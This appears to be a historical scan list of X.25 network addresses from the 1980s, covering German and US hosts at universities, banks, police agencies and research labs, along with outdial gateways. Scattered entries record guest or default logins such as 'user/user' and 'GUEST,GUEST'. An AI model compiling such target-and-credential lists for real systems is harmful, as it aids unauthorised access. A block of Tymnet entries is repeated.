I 0262 452 110 40016              ADV-Orga-Meyer & Co.
I 0262 452 110 40018              ADV-Orga-Meyer & Co.
Ar0262 452 110 40026              Primenet Stadt Duesseldorf,
I 0262 452 110 40063              ADAC
I 0262 452 110 40080              Uni Duesseldorf
Dr0262 452 110 40099
D 0262 452 110 40105              RZU Duesseldorf (Siemens 7.570)
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D 0262 452 110 40123              Data General
Ar0262 452 110 40130
Dr0262 452 110 40132
A 0262 452 110 40134              MCKDU VM/SP
I 0262 452 110 40211              Applid-Data-Research
I 0262 452 110 40325              OKI-GmbH
I 0262 452 110 90371              Software-Express
I 0262 452 210 0
Yr0262 452 210 40002              DIMDI Fep 1 Koeln
Ar0262 452 210 40004              Primenet (MicroVMS V4.5)
A 0262 452 210 40006              DIMDI Fep 2 Koeln  (Medical docs)
I 0262 452 210 40015              Kaufhof AG
I 0262 452 210 40027              ADAC
Ar0262 452 210 40035              Primenet
A 0262 452 210 40104              DIMDI1  (German Med. Inst., Koeln)
Yr0262 452 210 40119
O 0262 452 210 40136              AEG-Telefunken
I 0262 452 210 40202              Allianz RZ
I 0262 452 210 40203              Allianz RZ
I 0262 452 210 90265              RZ Uni Koeln
I 0262 452 210 90304              Allianz RZ
I 0262 452 210 90305              Allianz RZ
I 0262 452 210 90349              Kaufhof AG (RZ 2)
D 0262 452 210 90510              Geophysik und Meteorologie
Ir0262 452 210 93001              ?
A 0262 452 241 24104              VAX
A 0262 452 241 24105              GMD2
A 0262 452 241 24134              GMDZI
A 0262 452 280 40082              GMD (TSO)
A 0262 452 280 40187    BNVA      Bonn VAX (PI)
Ar0262 452 280 40191              Infas GmbH (VM)
D 0262 452 280 90020              Amtsgericht
A 0262 452 310 40003    EMX1      EMEX-Mailbox (Guest)
I 0262 452 310 40017              Primenet
O 0262 452 310 40103              AEG-Telefunken
A 0262 452 310 42100              Informatik
A 0262 452 310 42144    UNIDO     University of Dortmund
I 0262 452 310 40017              Primenet
I 0262 452 310 45100              Uni Dortmund (Siemens 7.760)
A 0262 452 310 9304               Dortmund
D 0262 452 340 40140              Primenet = RZU Bochum (CDL 855) ??
A 0262 452 340 40194    RUB       Cyber 205 (=855?), Ruhr University - Bochum
                                  (RUB)
D 0262 452 410 40149              Aachener + Muenchener Versicherung
I 0262 452 410 90014              ???
I 0262 452 410 90528              rmi-aachen
A 0262 452 410 90832              RMI Datentechnik Aachen
I 0262 452 433 40307              OPTEL (Ruehlemann-Box)
I 0262 452 461 90509              Kfz Juelich
A 0262 452 710 40240              Uni Siegen, FB Physik (VAX 11/750)
D 0262 452 931 40196              Handwerkskammer (HWK) Arnsberg
I 0262 453 000 0414               GFC-AG
D 0262 453 000 20104              Vax
D 0262 453 000 217      HMI       HMI in Berlin
A 0262 453 000 21711              Siemens
A 0262 453 000 21712              Siemens
A 0262 453 000 21713              Hahn-Meitner-Institut Berlin
D 0262 453 000 21714              ???
D 0262 453 000 40013              Uni Berlin
Y 0262 453 000 40014              GFC AG
Ar0262 453 000 40023    BERLIN    Tech. Univ. Berlin (Computer Science)
I 0262 453 000 40027              ADAC
I 0262 453 000 40112              ABC Barkredit Bank
I 0262 453 000 40166              David Verlag
I 0262 453 000 40509              COM-Box Berlin
A 0262 453 000 20205              CN01
A 0262 453 000 43109              netmbx, Berlin
A 0262 453 000 90055              COM.BOX, Berlin
A 0262 453 000 90864              ? (GUEST)
I 0262 453 002 17       HMI       Hans Mietner Institute in Berlin
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I 0262 453 004 0023              Uni Berlin
I 0262 453 210 40017             tymnet-gateway
I 0262 454 000 30029
A 0262 454 000 30035             (immediately drops the line)
A 0262 454 000 30041             COM-PLETE (?) (command prefix is '*')
A 0262 454 000 30046             (immediately drops the line)
O 0262 454 000 30071
A 0262 454 000 30090             (cierr 1402)
A 0262 454 000 30104             ? ("INVALID COMMAND SYNTAX")
A 0262 454 000 30105
A 0262 454 000 30110             Host
A 0262 454 000 30113             (cierr 1402)
A 0262 454 000 30138             ? (no reaction)
D 0262 454 000 30150
D 0262 454 000 30158
A 0262 454 000 30175             ? ("INVALID COMMAND SYNTAX")
D 0262 454 000 30187             E2000 Hamburg VAX
O 0262 454 000 30201             Hasylab VAX (user/user)
A 0262 454 000 30202             HERA Magnet Measurement VAX 750 (=Krista
                                 Cryogenics Control ?)
A 0262 454 000 30215             ? ("INVALID COMMAND SYNTAX")
D 0262 454 000 30259
D 0262 454 000 30261
A 0262 454 000 30296             DFH2001I
A 0262 454 000 30502
I 0262 454 000 30519
A 0262 454 000 30566             DFH2001I
O 0262 454 000 30578             Primenet 20.0.4 DREHH
I 0262 454 000 40014             Hahn Egon RZ !! Code: EBCDIC !!
I 0262 454 000 40015             ???
Y 0262 454 000 40042             ???
D 0262 454 000 40044             Primenet MUF
I 0262 454 000 40053             SCHERAX
Y 0262 454 000 40078             ???
A 0262 454 000 40082             ? (no reaction)
I 0262 454 000 40103             Airbus
I 0262 454 000 40109             ???
I 0262 454 000 40111             BADGER
D 0262 454 000 40198             Argus IPP-Vax
I 0262 454 000 43100             ADV-Orga-Meyer & Co.
A 0262 454 000 50233             Altos Hamburg (althh) (Gast)
I 0262 454 000 8001     DYVA     MARK J VAX at DESY
I 0262 454 000 90047             AEG-Telefunken
A 0262 454 000 90092             Data-General
A 0262 454 000 90184             Uni Hamburg (VAX) (=UKE?)
I 0262 454 000 90194             Verbraucherbank AG
O 0262 454 000 90241             ???
I 0262 454 000 90258             Desy ( Vax )
I 0262 454 000 90558             Philips VAX
D 0262 454 000 90560    EMBLHH   EMBL VAX at Hamburg (Eur.Molecular
                                 Biol.Lab.)
I 0262 454 000 905602            ???
A 0262 454 000 90582             Desy V.24 Switch
A 0262 454 000 91110             Deutsche Mailbox 1
A 0262 454 000 91120             Deutsche Mailbox 2
A 0262 454 000 92210             DESYNET
A 0262 454 000 9306     DYVA     MARK J VAX at DESY
D 0262 454 103 90161             Astra Chemicals GmbH
  0262 454 106 40206             RCA
A 0262 454 210 40064             COMTES
O 0262 454 210 40108             AEG-Telefunken
I 0262 454 210 40145             AEG-Telefunken
Y 0262 454 210 40244             AEG-Telefunken
O 0262 454 210 42001             Bremen
I 0262 454 210 90302             Computerland VAX
O 0262 454 298 43070             Infex 2
I 0262 454 310 40545             Kiel IMF
A 0262 454 410 30033             Uni Oldenburg
I 0262 454 421 40045             ADV-Orga-Meyer & Co.
I 0262 454 488 40147             Essmann Getraenke GmbH
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I 0262 455 110 40081              Airbus
I 0262 455 110 40171              Alli-Frischdienst
A 0262 455 110 42330              Uni Hannover (VM/370)
A 0262 455 110 43020              Nachrichtentechnik (VAX)
I 0262 455 110 701                Uni Hannover
A 0262 455 110 90192              ???
A 0262 455 110 90835              CosmoNet (GAST)
A 0262 455 110 92200              RZ
D 0262 455 151 40212              AEG-Telefunken
I 0262 455 152 90154              Oldenburger Volksbank
I 0262 455 210 40562              Uni Bielefeld (CGK/TR440)
I 0262 455 251 90192              Paderborn
D 0262 455 251 90193              Paderborn
A 0262 455 251 93020              Uni Paderborn (4.3 BSD UNIX)
D 0262 455 362 90057              IUM
I 0262 455 410 40086              Alli-Frischdienst
I 0262 455 410 40162              RZ
I 0262 455 410 40560              Bibliothek
I 0262 455 421 043050             ORION
A 0262 455 510 32804              Uni Goettingen (choose VAX or IBM)
I 0262 455 521 90172              Spar & Darlehenskassen
I 0262 455 818 104                Anders Frido GmbH
I 0262 455 910 40094              Essmann Getraenke GmbH
I 0262 455 931 40095              Ruhr AG
I 0262 456 061 40097              Polydress Plastic GmbH
I 0262 456 102 4301               DEC Frankfurt
I 0262 456 102 90145              Nadler-Werke GmbH
I 0262 456 103 40332              Amann KG
I 0262 456 104 0250               Tymnet
A 0262 456 106 40254              Alfa Service Partner (Primenet)
I 0262 456 106 90119              Alfa Service Partner
I 0262 456 110 40009              IBM  Centre for Info and Doc, Germany
I 0262 456 110 40037              Control Data (Test.-Serv.C4,ZZA201,CDC)
I 0262 456 110 40076              Autonet
I 0262 456 110 40105              Nixdorf Computer
I 0262 456 110 40106              Nixdorf Computer
I 0262 456 110 40107              CN01
I 0262 456 110 40187              WAX Bank FRA
I 0262 456 110 40240              City-Bank FFM (Uni Bochum ??)
I 0262 456 110 40245              ??
I 0262 456 110 40250              Tymnet (Id=Information)
I 0262 456 110 40303              American Express
I 0262 456 110 40305              American Express
I 0262 456 110 40311              AMC
I 0262 456 110 40365              AMP
I 0262 456 110 90211              Nixdorf Computer
I 0262 456 110 90212              Nixdorf Computer
I 0262 456 110 90322              American Express
I 0262 456 110 90347              American Express
I 0262 456 121 40207              ADV-Orga-Meyer & Co.
I 0262 456 121 40217              BKA
I 0262 456 121 40225              BKA
I 0262 456 121 90580              BKA
I 0262 456 131 40138              Uni Mainz RZ
I 0262 456 131 40545              RZ
Y 0262 456 131 90031              Allg.Kreditversicherung
Y 0262 456 151 40282              ???
A 0262 456 151 40516              Uni Darmstadt (Siemens 7.xxx)
A 0262 456 151 40547              GSI Darmstadt (EMMA-VAX 8600)
A 0262 456 151 42807              GMD Darmstadt (CADMUS 9240)
I 0262 456 172 90070              A-Kredit
I 0262 456 193 40082              Apotheken Marketing
D 0262 456 196 40095              Data General Schwalbach
A 0262 456 196 40107              Int.Doc.Chem.
A 0262 456 210 40000              Telebox der DBP (ID INF100,Telebox)
A 0262 456 210 40014              ACF/VTAM
A 0262 456 210 40025              Oeva
A 0262 456 210 40026              HOST
D 0262 456 210 40027              BASF/FER.VAX 8600
I 0262 456 210 40097              Nadler-Werke GmbH
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I 0262 456 210 40217              Primenet
I 0262 456 210 40324              Abacus
D 0262 456 210 40508              VCON0.BASF.A6
A 0262 456 210 40516              CN01
A 0262 456 210 40532
A 0262 456 210 40580              DYNAPAC MULTI-PAD.25
A 0262 456 210 40581              DYNAPAC MULTI-PAD.25
A 0262 456 210 40582
A 0262 456 210 90000              Telebox der DBP
I 0262 456 221 3002     EMBL      European Microbiology Lab (or European
                                  Molecular Biological Lab.) (=ALKOR?)
D 0262 456 221 40201              DKFZ (Heidelberg)
I 0262 456 221 40244              Franny (=Max Planck VAX=MPI?)
I 0262 456 310 40252
I 0262 456 310 421
D 0262 456 310 424
I 0262 456 310 4302
I 0262 456 340 40136              Nadler-Werke GmbH
A 0262 456 410 30021              HRZ-Giessen
I 0262 456 410 40142              Aachener + Muenchener Versicherung
A 0262 456 410 90040              HRZ Giessen (CDCNET-X.25)
I 0262 456 410 90828              Ernaehrungswissenschaften
I 0262 456 441 90335              Leerwe GmbH
I 0262 456 615 142804             GMD, Darmstadt
A 0262 456 673 13330              Geonet 1 (ex IMCA)
A 0262 456 673 13340              Geonet 3
I 0262 456 673 30070              IMCA-Mailbox, Solmser Str. 16, D-6419
                                  Haunetal-Staerklos
I 0262 456 721 40305              Alfa Metalcraft Corp.
I 0262 456 810 40010              Teleprint Saarbrueckener Zeitung
I 0262 456 810 40071              Nadler-Werke GmbH
I 0262 456 810 40076    SAARBRU   Univ of Saarbruecken (Saarland RZ)
A 0262 456 900 10174              Beilstein Gmelin RZ (COMDOS ?)
O 0262 456 900 10552              FIZ-Technik
O 0262 456 900 30040              Nixdorf Computer
A 0262 456 900 40076              Autonet
D 0262 456 900 40106              Nixdorf
I 0262 456 900 40505              AEG-Telefunken
  0262 456 900 40506              AEG-Telefunken
A 0262 456 900 90125
I 0262 456 900 90506              Nixdorf
I 0262 456 900 9308               SYNTAX
I 0262 457 010 40025              ?
A 0262 457 071 40266              Zentrum fuer Datenverarbeitung
  0262 457 071 40529              Zentrale Verw.
  0262 457 071 90182              ADW-Wirtschaftsberatung
D 0262 457 071 90249              Bibliothek
D 0262 457 110 10023              Hohenheim Bibliothek
D 0262 457 110 211                Rechenzentrum
Dr0262 457 110 40028
Dr0262 457 110 40035              Primenet !! No CTRL-P clr !!
B 0262 457 110 40124              Stahl EDV-Service
  0262 457 110 40129              Allg.Rentenanstalt
  0262 457 110 40147              MAHU Verlag
D 0262 457 110 90059              Bibliothek
  0262 457 110 90103              Data General
  0262 457 110 90246              Hohenheim DokumentationsSt.
D 0262 457 110 90316              RMI-Net
  0262 457 110 90557              Stahl EDV-Service
A 0262 457 110 90593              Unix, Informatik (ifistg)
  0262 457 141 90098              Aigner Buchhandlung
X 0262 457 210 40002              V750
Br0262 457 210 40025              Badenia
  0262 457 210 40031              IITB-Datenverarbeitung
D 0262 457 210 40135              Fraunhofer Institut
C 0262 457 210 40189              Uni Karlsruhe, RZ (until 10-APR-88)
X 0262 457 210 40248              Uni Karlsruhe, LINK (=NETONE?)
A 0262 457 210 42100              Uni Karlsruhe, IRAV2 (VAX 8200)
A 0262 457 210 42140              Uni Karlsruhe, RZ (since 11-APR-88)
D 0262 457 210 4303               Telematik
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A 0262 457 247 40001              INKA  FIZ-Chemie 2 (German Centre for
                                  Tech.?)
A 0262 457 247 40141              INKA  FIZ-Chemie 1
A 0262 457 247 40211    CASGER    STN Internat. Karlsruhe
D 0262 457 310 90269              RZ Bereich OE
  0262 457 310 921                RZ
  0262 457 351 40032              AFD-Arbeitsgruppe F.DV
A 0262 457 531 90008              Informationswissenschaften
D 0262 457 531 90094              RZ
  0262 457 552 90320              Alno-Moebel
D 0262 457 610 300                Uni Freiburg, 9600bps
D 0262 457 610 370                Uni Freiburg, Sperry Univac
D 0262 457 610 40079              Albert Ludwig, Uni-Bibliothek
  0262 457 610 40166              AEG-Telefunken
  0262 457 610 40306              Alpha-Buch GmbH
B 0262 457 610 420                Uni Freiburg, 4800bps
B 0262 457 610 480                Uni Freiburg, Sperry Univac
X 0262 457 610 520                Uni Freiburg, Uni Bibliothek
  0262 457 641 40265              Anders Ernst
  0262 457 721 40071              Kienzle Computer
  0262 457 721 40072              Kienzle Computer
  0262 457 721 40171              Kienzle Computer
  0262 457 721 90004              Kienzle Computer
  0262 457 721 90226              Kienzle Computer
  0262 457 810 40222              Dietrich Georg GmbH
B 0262 458 151 40114              Kejo GmbH (Josef Keller)
D 0262 458 210 40114              Bibliothek
  0262 458 210 40120              NCR
  0262 458 510 30236              Passau RZ
D 0262 458 710 40171              Transfer Data Test GmbH
  0310 600 021 0                  Procter and Gamble
  0310 600 022 6                  Anistics
  0310 600 022 6                  Interactive Market Systems (Anistics)
  0310 600 023 2                  Scientific Timesharing
  0310 600 024 2                  Timesharing Resources
  0310 600 025 2                  Computer Science Corporation
  0310 600 025 5                  Timesharing Associates
  0310 600 027 6                  Management Decision Systems Inc
  0310 600 028 8                  SRI
  0310 600 028 8                  SRI San Francisco (UNIX)
  0310 600 028 8                  Stanford Research Institute (SRI)
  0310 600 030 3                  Scientific Timesharing
  0310 600 030 7                  Infomedia Corporation
  0310 600 032 3                  TRW Defence & Space Systems Group
  0310 600 040 1                  TMCS Public Network
  0310 600 043 2                  Interactive Market Systems
  0310 600 046 6                  Bibliographic Retrieval Services
B 0310 600 058 1                  BRS
  0310 600 063 3                  Public TYMNET/TRWNET Interlink
  0310 600 079 3                  J&J Host
B 0310 600 105 3
  0310 600 133 0                  MULTICS, HVN 862-3642
  0310 600 140 0                  TMCS Public Network
B 0310 600 150 9                  Orbit (SDC)
B 0310 600 157 878                BIX
D 0310 600 165 9                  BYTE Information Exchange (GUEST,GUEST)
A 0310 600 166 3                  People Link
  0310 600 181 9                  TMCS Public Network
  0310 600 182 8        FRX       Faifax Outdial Host (Tymnet)
  0310 600 186 4                  SUNGARDS Central Computer Facility Networks
  0310 600 189 2                  Primenet (certain hours)
B 0310 600 195 2                  VAX
B 0310 600 197 6                  Outdial NY
A 0310 600 197 7
  0310 600 209 5                  COMODEX Online System
  0310 600 209 8                  D & B
  0310 600 209 9                  D & B
  0310 600 210 0                  D & B
  0310 600 210 9                  TYMNET/15B (inter-link)
B 0310 600 220 7,OUT              Outdial
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  0310 600 228 6                  Primenet TFGI
  0310 600 229 9                  CONSILIUM
  0310 600 232 901*D    MFE       Magnetic Fusion Energy Centre, Lawrence
                                  Livermore
B 0310 600 236 1                  Denver Oil&Gas
  0310 600 241                    Bank Of America
  0310 600 245 3                  Primenet
B 0310 600 254 5        SEISMO    Centre for Seismic Studies
B 0310 600 255                    Outdial NY
A 0310 600 262 3                  VAX/VMS (GUEST ???)
B 0310 600 262 3003               VTINET
B 0310 600 262 460                SUMEX
B 0310 600 263 5                  QUOTRON Wall Street (Boerse n.y.)
B 0310 600 266 400      SLAC      SLAC on Tymnet
B 0310 600 267 7                  The New York Times
  0310 600 269 4                  PVM3101,SPDS/MTAM, MLCM,VM/SP,STRATUS-1,
                                  STRATUS-2
  0310 600 279 0                  VM/370
  0310 600 286 4                  RCA Semicustom
B 0310 600 302 70000              VTI NETONE
  0310 600 307 9                  VM/370
  0310 600 309 2                  TYMNET/Protected Access Service Sys.
                                  Inter-link
  0310 600 316 8                  VM/370
  0310 600 321 4                  VM/370
  0310 600 322 0                  VM/370
  0310 600 322 1                  VM/370
  0310 600 357 2                  NORTH AMERICA DATA CENTRE
  0310 600 360 4                  VM/370
  0310 600 404 1                  RCA GLOBCOM'S PACKET SWITCHING SERICE
A 0310 600 412 9                  ?
A 0310 600 413 1                  ?
  0310 600 413 7                  TSO, VM/370
  0310 600 416 300                Oakridge, Tennessee
  0310 600 417 4                  VM/370
  0310 600 420 6                  MAINSTREAMS
  0310 600 423 500                Oakridge, Tennessee
B 0310 600 430 5                  BIOVAX
  0310 600 434 1                  (Host) 2 - VM/370, T - VM/370,1,3,4,A,C,E,Z
A 0310 600 436 5                  Toxnet (NLM=National Lib. of Medicine's)
B 0310 600 455 5                  VAX
  0310 600 459 97
  0310 600 474 3                  TYMNET Info Service
X 0310 600 502 0                  Outdial Fairfax
  0310 600 522 9                  Uni.of Pencilvania School of Arts and
                                  Science
  0310 600 526 7                  CHANEL 01
X 0310 600 531 7                  Outdial St.Louis
B 0310 600 532 0                  DEC Soft. Serv.
  0310 600 556 9                  STRATUS/32
  0310 600 557 1                  STRATUS/32
  0310 600 560 3                  (Host) systems 1,2,3,4,5,C (5=Outdial)
B 0310 600 562 200      FNAL      Fermilab
B 0310 600 562 226                Fermilab 2
B 0310 600 578 78                 BIX
B 0310 600 584 401                Washington Post
B 0310 600 61           DIALOG1   Lockheed Info Systems
  0310 600 61*DSDDIPSSL ORBIT2    SDC Search Service
  0310 600 628 1                  EDCS
  0310 600 628 3                  EDCS
  0310 600 643 2                  EASYLINK
  0310 600 643 4                  EASYLINK
  0310 600 672 2                  International Network
  0310 600 68                     Stanford SUMEX-AIM. Tenex op syst.
  0310 600 683 2                  A&A DATANET (Systems 1,8,0,14)
X 0310 600 701 7                  Outdial NY
  0310 600 759 6                  (Host)  A - VM/370, B - VM/370
? 0310 600 787                    Dallas
  0310 601 79                     Berkley Univ.
  0310 602 88                     Stanford Research Institute
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B 0310 611 467                    Cas Online Sys.
  0310 614 67                     Ohio CAS (Chemical Abstracts Service)
  0310 617 001 38                 Multics
  0310 647 911 065                BIX Lexington Data Service
  0310 690 006 1*D      DIALOG4   Lockheed DIALOG service
B 0310 690 080 3*D      DIALOG3   Lockheed DIALOG service
  0310 690 762 6                  Emery ADO
  0311 0                TELENET   USA - Telenet
B 0311 002 130 0039               ECLD
  0311 020 100 02000              Insco Systems
  0311 020 100 022                New Jersey Outdial 2400 bps (Area 201)
  0311 020 100 02300              American Information Services
  0311 020 100 02400              The Information Bank
  0311 020 100 02500              New Jersey Institute of Technology
  0311 020 100 02800              Olcott International Company
  0311 020 100 03700              Informatics Inc
  0311 020 100 169      MOUTON
  0311 020 100 301                New Jersey Outdial 1200 bps (Area 201)
  0311 020 101 59200              Scientific Process & Research Inc
  0311 020 200 02100              Scientific Timesharing
  0311 020 200 02200              Scientific Timesharing
X 0311 020 200 066                Air Force
T 0311 020 200 099      ICIB      Information Council Incorporated B system
  0311 020 200 1        TELEMAIL  US Telemail facility
X 0311 020 200 10900    CIS       Chemical Information Systems
A 0311 020 200 115                Outdial 300 bps (Area 202)
A 0311 020 200 116                Outdial 1200 bps (Area 202)
  0311 020 200 117                Distr. of Columbia Outdial 2400 bps (Area
                                  202)
B 0311 020 200 141      TELEMAIL  US Telemail facility (GT-Net)
  0311 020 200 14175    TELEENQ   Telenet Enquiry Service
  0311 020 200 14175    TELEMAIL1 US Telemail facility
  0311 020 200 14275    TELENET   US Telenet
  0311 020 201 19500              Gallaude College Computer Centre
  0311 020 300 06400              NCSS Bureau
  0311 020 300 130                Connecticut Outdial 1200 bps (Area 203)
  0311 020 301 78900              Yale University Computer Centre
  0311 020 400 02900    WATERLO   University of Waterloo
  0311 020 600 019                Washington Outdial 1200 bps (Area 206)
  0311 021 200 02000              Bowne Timesharing
  0311 021 200 02500              Interactive Market Systems (Anistics)
  0311 021 200 02800              Burroughs Corp (NYC data centre)
  0311 021 200 141      JPLM1     Jet Propulsion Laboratory mail 1, USA
  0311 021 200 142      JPLM2     Jet Propulsion Laboratory mail 2, USA
  0311 021 200 14200              GT-Net Telemail
A 0311 021 200 315                Outdial 300 bps (Area 212)
A 0311 021 200 316                Outdial 1200 bps (Area 212)
D 0311 021 200 412                Outdial 2400 bps (Area 212)
D 0311 021 200 41200              New York City Outdial (Area 212)
  0311 021 201 39200              Memorial Dose Distribution Computation
                                  Service
  0311 021 201 40600              MAV Systems (300 bps)
  0311 021 201 57800              IP Sharp Associates
  0311 021 201 58000              SDL International (1200 bps)
  0311 021 201 58500              SDL International (300 bps)
  0311 021 201 58800              DSL Systems Inc
  0311 021 201 59500              SDL International (1200 bps)
  0311 021 201 62000              Telestat System Inc
  0311 021 201 62700              Telestat Systems Inc
  0311 021 300 02200              Interactive Systems Corporation
  0311 021 300 02700              Mellonics Information Centre
  0311 021 300 029                TRW Defence & Space Systems Group
B 0311 021 300 03300    ORBIT     Orbit
  0311 021 300 03300*D  ORBIT     SDC Search Service (300 bps)
  0311 021 300 04400              SDC Search Service (1200 bps)
B 0311 021 300 039      USCAL2    Univ. of Southern California
  0311 021 300 04114    IHW       IHW
  0311 021 300 04700              University of Southern California
B 0311 021 300 048      USCAL1    University of Southern California
B 0311 021 300 170                LRS Dialog 2
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T 0311 021 300 17000    DIALOG5    Lockheed Info Systems
  0311 021 300 17000*D  DIALOG2    Lockheed DIALOG service
B 0311 021 300 219      CALTECH    Caltech VAX 11/780
  0311 021 300 21908    CALTECH    Caltech VAX 11/780
  0311 021 300 21909    CALTECH2   Caltech VAX 11/780
  0311 021 300 412                 California Outdial 1200 bps (Area 213)
A 0311 021 300 413                 Outdial CA
  0311 021 300 668                 Adainfo
  0311 021 301 353      UCLA       UCLA, USA
  0311 021 301 40300               Marshall & Swift Publication
  0311 021 400 117                 Outdial 300 bps (Area 214)
A 0311 021 400 118                 Texas Outdial 1200 bps (Area 214)
  0311 021 500 022                 Pennsylvania Outdial 2400 bps (Area 215)
  0311 021 500 112                 Pennsylvania Outdial 1200 bps (Area 215)
A 0311 021 600 020                 Outdial 300 bps (Area 216)
A 0311 021 600 021                 Ohio Outdial 1200 bps (Area 216)
  0311 021 700 021                 University of Illinois - Urbana
  0311 030 100 02000    NLM        National Library of Medicine
A 0311 030 100 02400               The Source
B 0311 030 100 038                 The Source (ID BSC131 SR3811)
B 0311 030 100 243                 ITT Dialcom
  0311 030 100 364                 Primesoft
A 0311 030 100 38                  The Source
B 0311 030 100 633                 Toxnet (NLM)
  0311 030 101 26500               Informatics Inc
  0311 030 300 02000               Computer Sharing Services
  0311 030 300 021                 Colorado Outdial 2400 bps (Area 303)
  0311 030 300 02300               Broker Services Inc
  0311 030 300 115                 Colorado Outdial 1200 bps (Area 303)
  0311 030 301 13100               EDI Computer Services
  0311 030 301 13200               EDI Computer Services
  0311 030 301 13300               Energy Enterprises
  0311 030 500 121                 Florida Outdial 1200 bps (Area 305)
  0311 030 501 16300               Florida Computer Inc
D 0311 030 508 793                 Miami Outdial (Area 305) ?
  0311 031 200 02200               National Computer Network of Chicago
  0311 031 200 024                 Illinois Outdial 2400 bps (Area 217 ?)
  0311 031 200 03100               Continental Bank
  0311 031 200 03200               Continental Bank
  0311 031 200 04900               American Hospital Supply Corporation
  0311 031 200 411                 Illinois Outdial 1200 bps (Area 217 ?)
  0311 031 201 07300               Commodity Information Services
  0311 031 268 801      ADPUSA     ADP Network Services Ltd.
  0311 031 300 024                 Michigan Outdial 2400 bps (Area 313)
  0311 031 300 04000               ADP Network Services
  0311 031 300 06200               Merit International (MIT)
  0311 031 300 216                 Michigan Outdial 1200 bps (Area 313)
  0311 031 301 39800               Merit Computer
  0311 031 400 07200               Environmental DataNetwork Inc.
  0311 031 401 06500               McDonnel Douglas Automation (300 bps)
  0311 031 401 06600               McDonnel Douglas Automation (110 bps)
  0311 031 401 06700               McDonnel Douglas Automation (1200 bps)
  0311 031 401 61000               McDonnel Douglas Automation (300 bps)
  0311 031 500 02000               Bibliographic Retrieval Services
A 0311 040 100 612                 Modemcity
A 0311 040 400 114                 Georgia Outdial 1200 bps (Area 404)
A 0311 040 800 021                 California Outdial 1200 bps? (Area 408)
  0311 040 800 245                 Bridge
B 0311 040 800 246                 SCF
  0311 041 201 4600                On-Line Systems Inc
  0311 041 400 02000               A.O. Smith Data Systems Divisions
  0311 041 400 021                 Wisconsin Outdial 1200 bps (Area 414)
B 0311 041 500 020                 LRS-Dialog 2
A 0311 041 500 02000    DIALOG     Lockheed Information Systems
  0311 041 500 02000*D  DIALOG     Lockheed DIALOG service
B 0311 041 500 048                 LRS Dialog 2
  0311 041 500 04800    DIALOG2    Lockheed Information Systems 2
  0311 041 500 04800*D  DIALOG1    Lockheed DIALOG service
  0311 041 500 117                 California Outdial 1200 bps (Area 415)
I 0311 041 500 210                 Outdial USA
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A 0311 041 500 215                Outdial (Area 415)
A 0311 041 500 217                Outdial (Area 415)
A 0311 041 500 220                Outdial 1200 bps (Area 415)
  0311 041 500 48000              Lockheed Information Systems (?)
B 0311 041 500 607                BIONET
B 0311 041 500 609                INTELLIGENETICS
  0311 041 501 23600              Hydrocomp Inc (300 bps)
  0311 041 501 23700              Hydrocomp Inc (1200 bps)
  0311 041 501 26800              ITEL Corp (300 bps)
  0311 041 501 26900              ITEL Corp (1200 bps)
  0311 041 501 59700              Stanford Library Centre for Inform
                                  Processing
  0311 041 501 59700              Standard Centre for Information Processing
O 0311 050 006 1                  Nuclear Research
A 0311 050 300 020                Outdial 300 bps (Area 503)
A 0311 050 300 021                Oregon Outdial 1200 bps (Area 503)
B 0311 050 500 060                ICN (=LASL)
  0310 600 021 0                  Procter and Gamble
  0310 600 022 6                  Anistics
  0310 600 022 6                  Interactive Market Systems (Anistics)
  0310 600 023 2                  Scientific Timesharing
  0310 600 024 2                  Timesharing Resources
  0310 600 025 2                  Computer Science Corporation
  0310 600 025 5                  Timesharing Associates
  0310 600 027 6                  Management Decision Systems Inc
  0310 600 028 8                  SRI
  0310 600 028 8                  SRI San Francisco (UNIX)
  0310 600 028 8                  Stanford Research Institute (SRI)
  0310 600 030 3                  Scientific Timesharing
  0310 600 030 7                  Infomedia Corporation
  0310 600 032 3                  TRW Defence & Space Systems Group
  0310 600 040 1                  TMCS Public Network
  0310 600 043 2                  Interactive Market Systems
  0310 600 046 6                  Bibliographic Retrieval Services
B 0310 600 058 1                  BRS
  0310 600 063 3                  Public TYMNET/TRWNET Interlink
  0310 600 079 3                  J&J Host
B 0310 600 105 3
  0310 600 133 0                  MULTICS, HVN 862-3642
  0310 600 140 0                  TMCS Public Network
B 0310 600 150 9                  Orbit (SDC)
B 0310 600 157 878                BIX
D 0310 600 165 9                  BYTE Information Exchange (GUEST,GUEST)
A 0310 600 166 3                  People Link
  0310 600 181 9                  TMCS Public Network
  0310 600 182 8          FRX     Faifax Outdial Host (Tymnet)
  0310 600 186 4                  SUNGARDS Central Computer Facility Networks
  0310 600 189 2                  Primenet (certain hours)
B 0310 600 195 2                  VAX
B 0310 600 197 6                  Outdial NY
A 0310 600 197 7
  0310 600 209 5                  COMODEX Online System
  0310 600 209 8                  D & B
  0310 600 209 9                  D & B
  0310 600 210 0                  D & B
  0310 600 210 9                  TYMNET/15B (inter-link)
B 0310 600 220 7,OUT              Outdial
  0310 600 228 6                  Primenet TFGI
  0310 600 229 9                  CONSILIUM
  0310 600 232 901*D      MFE     Magnetic Fusion Energy Centre, Lawrence
                                  Livermore
B 0310 600 236 1                  Denver Oil&Gas
  0310 600 241                    Bank Of America
  0310 600 245 3                  Primenet
B 0310 600 254 5          SEISMO  Centre for Seismic Studies
B 0310 600 255                    Outdial NY
A 0310 600 262 3                  VAX/VMS (GUEST ???)
B 0310 600 262 3003               VTINET
B 0310 600 262 460                SUMEX
B 0310 600 263 5                  QUOTRON Wall Street (Boerse n.y.)
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B 0310 600 266 400      SLAC        SLAC on Tymnet
B 0310 600 267 7                    The New York Times
  0310 600 269 4                    PVM3101,SPDS/MTAM, MLCM,VM/SP,STRATUS-1,
                                    STRATUS-2
  0310 600 279 0                    VM/370
  0310 600 286 4                    RCA Semicustom
B 0310 600 302 70000                VTI NETONE
  0310 600 307 9                    VM/370
  0310 600 309 2                    TYMNET/Protected Access Service Sys.
                                    Inter-link
  0310 600 316 8                    VM/370
  0310 600 321 4                    VM/370
  0310 600 322 0                    VM/370
  0310 600 322 1                    VM/370
  0310 600 357 2                    NORTH AMERICA DATA CENTRE
  0310 600 360 4                    VM/370
  0310 600 404 1                    RCA GLOBCOM'S PACKET SWITCHING SERICE
A 0310 600 412 9                    ?
A 0310 600 413 1                    ?
  0310 600 413 7                    TSO, VM/370
  0310 600 416 300                  Oakridge, Tennessee
  0310 600 417 4                    VM/370
  0310 600 420 6                    MAINSTREAMS
  0310 600 423 500                  Oakridge, Tennessee
B 0310 600 430 5                    BIOVAX
  0310 600 434 1                    (Host) 2 - VM/370, T - VM/370,1,3,4,A,C,E,Z
A 0310 600 436 5                    Toxnet (NLM=National Lib. of Medicine's)
